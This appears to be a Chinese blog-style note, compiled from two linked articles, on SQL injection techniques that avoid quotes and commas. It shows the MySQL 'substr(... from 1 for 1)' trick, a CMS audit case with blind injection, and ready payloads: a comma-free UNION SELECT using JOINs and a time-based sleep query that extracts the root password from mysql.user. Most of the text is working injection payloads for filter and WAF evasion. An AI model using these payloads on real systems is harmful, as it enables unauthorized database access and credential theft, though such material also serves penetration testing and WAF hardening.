不使用单引号和逗号进行SQL注入

<http://www.lijiejie.com/mysql-injection-bypass-waf/>

<http://www.2cto.com/article/201501/373677.html>

### 通过substr函数绕过不能使用逗号的情况

不能使用逗号的情况较少，往往是因为逗号有某些特殊的作用，被单独处理了。

通常，猜解都是要用到逗号的，因为需要mid函数取字符呐：

ascii(mid(user(),1,1))=150

|  |  |
| --- | --- |
| 1 | ascii(mid(user(),1,1))=150 |

绕过的方法是使用from x for y。语法类似：

mid(user() from 1 for 1) 或 substr(user() from 1 for 1)

|  |  |
| --- | --- |
| 1  2  3 | mid(user() from 1 for 1)  或  substr(user() from 1 for 1) |

以上同样是从第一个字符开始，取一位字符。

那么，不带逗号注入的语法，就可以变成：

mysql> select ascii(substr(user() from 1 for 1)) < 150; +------------------------------------------+ | ascii(substr(user() from 1 for 1)) < 150 | +------------------------------------------+ | 1 | +------------------------------------------+

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | mysql> select ascii(substr(user() from 1 for 1)) < 150;  +------------------------------------------+  | ascii(substr(user() from 1 for 1)) < 150 |  +------------------------------------------+  |                                        1 |  +------------------------------------------+ |

是不是跟mid函数的效果是一样的，又没有用到逗号。

 0X00 背景

审计cms发现一个这样的环境：

[?](http://www.2cto.com/article/201501/373677.html)

|  |  |
| --- | --- |
| 1  2 | $l\_id = get('arr','l\_id');  $ids = explode(',',$l\_id); |

拼接post中数组的请求，然后再用逗号分隔，最后带入了SQL查询。

于是就遇到了不能使用逗号的情况。

默认

display\_error=off

无显错，只能盲注。

0X00 解决方案：

主要解决substring的逗号问题。

[?](http://www.2cto.com/article/201501/373677.html)

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | select \* from table1 where id =1 and exists (select \* from table2 where ord(substring(username from 1 for 1)=97);    127' UNION SELECT \* FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#    select case when substring((select password from mysql.user where user='root') from 1 for 1)='e' then sleep(5) else 0 end #    substring((select password from mysql.user where user='root') from -1）='e' |

以上例句请根据自己的情况而定。